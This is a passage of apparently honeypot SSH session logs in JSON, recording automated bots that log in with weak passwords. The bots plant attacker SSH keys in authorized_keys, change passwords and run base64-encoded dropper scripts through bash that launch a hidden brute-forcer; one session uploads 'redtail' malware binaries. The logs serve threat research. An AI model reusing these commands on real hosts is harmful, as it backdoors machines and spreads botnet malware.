-m"},{"seq":19,"at":"2026-08-23T00:49:53.686822+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T00:49:54.473294+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T00:49:54.473874+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T00:49:55.271448+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T00:49:55.272005+00:00","kind":"output","latency_ms":null,"data":"top - 00:49:55 up 2 days, 21:40, 0 user, load average: 0.04, 0.05, 0.04\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T00:49:56.055911+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T00:49:56.056458+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T00:49:56.841430+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T00:49:56.842203+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T00:49:57.627244+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T00:49:57.627847+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":30,"at":"2026-08-23T00:49:58.430268+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T00:49:59.599399+00:00","kind":"output","latency_ms":1167,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-23T00:50:00.378510+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T00:50:01.013766+00:00","kind":"output","latency_ms":633,"data":"24G"},{"seq":34,"at":"2026-08-23T00:50:03.255681+00:00","kind":"input","latency_ms":null,"data":"echo \"ubuntu qwer1234!@#$\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T00:50:04.045572+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T00:50:04.528870+00:00","kind":"output","latency_ms":482,"data":""},{"seq":37,"at":"2026-08-23T00:50:06.829704+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T00:50:07.577457+00:00","kind":"output","latency_ms":746,"data":"\u0a05#\ufffd\u007f\ufffdU\ufffdq\ufffd>\ufffdK\ufffd\ufffd2\ufffd\ufffd\ufffd\n"},{"seq":39,"at":"2026-08-23T00:50:08.373142+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T00:50:08.816550+00:00","kind":"output","latency_ms":442,"data":"\u0a05#\ufffd\u007f\ufffdU\ufffdq\ufffd>\ufffdK\ufffd\ufffd2\ufffd\ufffd\ufffd"},{"seq":41,"at":"2026-08-23T00:50:09.607224+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T00:50:10.394504+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T00:50:10.993071+00:00","kind":"output","latency_ms":600,"data":"1"},{"seq":44,"at":"2026-08-23T00:50:11.792486+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T00:50:12.427965+00:00","kind":"output","latency_ms":633,"data":"1"},{"seq":46,"at":"2026-08-23T00:50:13.241430+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T00:50:13.951933+00:00","kind":"output","latency_ms":722,"data":""},{"seq":48,"at":"2026-08-23T00:50:22.168926+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T00:50:22.169874+00:00","kind":"output","latency_ms":null,"data":"ubuntu"}],"credentials":[{"username":"ubuntu","password":"qwer1234!@#$","method":"password","accepted":true,"tier":"other"}]} {"id":"1a89d4f8-6eb1-4402-9cb6-68a4cbd7f36d","name":"nautical-foggy-cormorant","protocol":"ssh","channel_kind":"sftp","src_ip":"77.90.185.20","src_port":26150,"username":"manager","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n","started_at":"2026-08-23T00:43:29.794697+00:00","ended_at":"2026-08-23T00:43:29.948066+00:00","ended_reason":"exec complete","commands":8,"transcript_bytes":1050,"events":[{"seq":1,"at":"2026-08-23T00:43:29.613889+00:00","kind":"input","latency_ms":null,"data":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n"},{"seq":2,"at":"2026-08-23T00:43:29.801915+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/manager/clean.sh (1157 bytes)"},{"seq":3,"at":"2026-08-23T00:43:29.838519+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/manager/redtail.arm7 (1448252 bytes)"},{"seq":4,"at":"2026-08-23T00:43:29.865959+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/manager/redtail.arm8 (1696412 bytes)"},{"seq":5,"at":"2026-08-23T00:43:29.897226+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/manager/redtail.i686 (1838060 bytes)"},{"seq":6,"at":"2026-08-23T00:43:29.927920+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/manager/redtail.riscv (1759768 bytes)"},{"seq":7,"at":"2026-08-23T00:43:29.943944+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/manager/redtail.x86_64 (1989056 bytes)"},{"seq":8,"at":"2026-08-23T00:43:29.946760+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /home/manager/setup.sh (2126 bytes)"}],"credentials":[{"username":"manager","password":"manager","method":"password","accepted":true,"tier":"other"}]} {"id":"50d8261c-2b8a-4d6e-b889-bcc7ce510f56","name":"merry-prickly-dotterel","protocol":"ssh","channel_kind":"exec","src_ip":"35.237.94.18","src_port":38132,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":178,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T00:28:27.222996+00:00","ended_at":"2026-08-23T00:28:27.239147+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3280,"events":[{"seq":1,"at":"2026-08-23T00:28:03.526541+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T00:28:03.701542+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T00:28:06.962656+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T00:28:06.963356+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T00:28:07.190060+00:00","kind":"input","latency_ms":null,"data":"echo -e \"P@ssw0rd1\\noPKl7IbnntR6\\noPKl7IbnntR6\"|passwd|bash"},{"seq":6,"at":"2026-08-23T00:28:07.497711+00:00","kind":"input","latency_ms":null,"data":"echo \"P@ssw0rd1\\noPKl7IbnntR6\\noPKl7IbnntR6\\n\"|passwd"},{"seq":7,"at":"2026-08-23T00:28:07.697034+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T00:28:07.697615+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T00:28:07.792072+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T00:28:08.366971+00:00","kind":"output","latency_ms":573,"data":"15888 2147 1234 0 12406 0"},{"seq":11,"at":"2026-08-23T00:28:08.514580+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T00:28:09.663548+00:00","kind":"output","latency_ms":1149,"data":"lrwxrwxrwx 1 root root 7 Apr 22 2026 /usr/bin/ls -> /bin/ls"},{"seq":13,"at":"2026-08-23T00:28:09.766591+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T00:28:09.767116+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T00:28:09.949799+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T00:28:09.950598+00:00","kind":"output","latency_ms":null,"data":" 00:28:09 up 2 days, 21:18, 0 user, load average: 0.06, 0.07, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T00:28:10.050698+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T00:28:10.051183+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T00:28:10.271270+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T00:28:10.272283+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T00:28:10.449554+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T00:28:10.450300+00:00","kind":"output","latency_ms":null,"data":"top - 00:28:10 up 2 days, 21:18, 0 user, load average: 0.06, 0.07, 0.06\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T00:28:10.546140+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T00:28:10.546589+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T00:28:10.769588+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T00:28:10.770125+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T00:28:10.947318+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T00:28:10.947780+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-23T00:28:11.046122+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T00:28:11.798965+00:00","kind":"output","latency_ms":753,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-23T00:28:12.007876+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T00:28:12.532310+00:00","kind":"output","latency_ms":523,"data":"24G"},{"seq":33,"at":"2026-08-23T00:28:13.268783+00:00","kind":"input","latency_ms":null,"data":"echo \"admin P@ssw0rd1\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T00:28:13.463124+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T00:28:14.014470+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-23T00:28:14.293859+00:00","kind":"output","latency_ms":829,"data":""},{"seq":37,"at":"2026-08-23T00:28:14.703988+00:00","kind":"output","latency_ms":688,"data":"admin P@ssw0rd1"},{"seq":38,"at":"2026-08-23T00:28:14.800552+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T00:28:16.960154+00:00","kind":"output","latency_ms":2157,"data":""},{"seq":40,"at":"2026-08-23T00:28:17.182056+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T00:28:17.276752+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T00:28:17.903685+00:00","kind":"output","latency_ms":625,"data":"1"},{"seq":43,"at":"2026-08-23T00:28:18.025818+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T00:28:18.603260+00:00","kind":"output","latency_ms":575,"data":"1"},{"seq":45,"at":"2026-08-23T00:28:18.782001+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T00:28:19.243391+00:00","kind":"output","latency_ms":459,"data":""},{"seq":47,"at":"2026-08-23T00:28:27.224605+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T00:28:27.225174+00:00","kind":"output","latency_ms":null,"data":"admin"}],"credentials":[{"username":"admin","password":"P@ssw0rd1","method":"password","accepted":true,"tier":"other"}]} {"id":"bb8255c1-fa10-47fb-bace-d408951594e4","name":"ivory-gloomy-coyote","protocol":"ssh","channel_kind":"exec","src_ip":"68.183.236.1","src_port":37372,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":772,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T21:59:03.408093+00:00","ended_at":"2026-08-22T21:59:11.945062+00:00","ended_reason":"exec complete","commands":26,"transcript_bytes":3638,"events":[{"seq":1,"at":"2026-08-22T21:58:29.605029+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T21:58:30.368268+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T21:58:36.594886+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T21:58:36.595337+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T21:58:37.369053+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pEYx4uCAYcJt\"|chpasswd|bash"},{"seq":6,"at":"2026-08-22T21:58:38.000234+00:00","kind":"output","latency_ms":631,"data":""},{"seq":7,"at":"2026-08-22T21:58:38.140258+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-22T21:58:38.911841+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-22T21:58:38.912392+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-22T21:58:39.682667+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-22T21:58:40.336672+00:00","kind":"output","latency_ms":652,"data":" 15888 0 0 0 0 0"},{"seq":12,"at":"2026-08-22T21:58:41.108518+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-22T21:58:41.816382+00:00","kind":"output","latency_ms":706,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-22T21:58:42.600568+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T21:58:42.601089+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-22T21:58:43.364158+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-22T21:58:43.364603+00:00","kind":"output","latency_ms":null,"data":" 21:58:43 up 2 days, 18:48, 0 user, load average: 0.13, 0.14, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-22T21:58:44.137010+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-22T21:58:44.139207+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-22T21:58:44.913887+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-22T21:58:44.914514+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-22T21:58:45.687970+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-22T21:58:45.688557+00:00","kind":"output","latency_ms":null,"data":"top - 21:58:45 up 2 days, 18:48, 0 user, load average: 0.13, 0.14, 0.15\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-22T21:58:46.461811+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-22T21:58:46.462950+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-22T21:58:47.236646+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-22T21:58:47.237192+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-22T21:58:48.023152+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-22T21:58:48.023880+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-22T21:58:48.794032+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-22T21:58:49.689839+00:00","kind":"output","latency_ms":896,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-22T21:58:50.466499+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-22T21:58:51.339230+00:00","kind":"output","latency_ms":875,"data":"24G"},{"seq":34,"at":"2026-08-22T21:58:53.779468+00:00","kind":"input","latency_ms":null,"data":"echo \"root eric123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-22T21:58:54.549510+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-22T21:58:55.148927+00:00","kind":"output","latency_ms":596,"data":""},{"seq":37,"at":"2026-08-22T21:58:57.319606+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-22T21:58:57.937693+00:00","kind":"output","latency_ms":617,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-22T21:58:58.708770+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-22T21:58:59.225607+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-22T21:58:59.999522+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T21:59:00.769001+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-22T21:59:01.439664+00:00","kind":"output","latency_ms":669,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-22T21:59:02.212178+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-22T21:59:02.635849+00:00","kind":"output","latency_ms":422,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-22T21:59:03.408905+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 